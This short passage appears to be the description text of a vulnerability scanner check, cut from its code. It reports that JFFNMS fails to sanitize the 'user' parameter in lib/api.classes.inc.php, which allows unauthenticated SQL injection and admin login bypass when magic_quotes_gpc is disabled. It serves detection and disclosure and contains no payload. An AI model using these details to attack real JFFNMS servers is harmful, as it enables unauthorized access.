"The remote host is running JFFNMS, an open source network management
and monitoring system. 

The version of JFFNMS on the remote host fails to properly sanitize
user-supplied input to the 'user' parameter before using it in the
'lib/api.classes.inc.php' script in database queries.  If PHP's
'magic_quotes_gpc' setting is disabled, an unauthenticated, remote
attacker can leverage this issue to launch SQL injection attacks
against the affected application, including bypassing authentication
and gaining administrative access to it.");
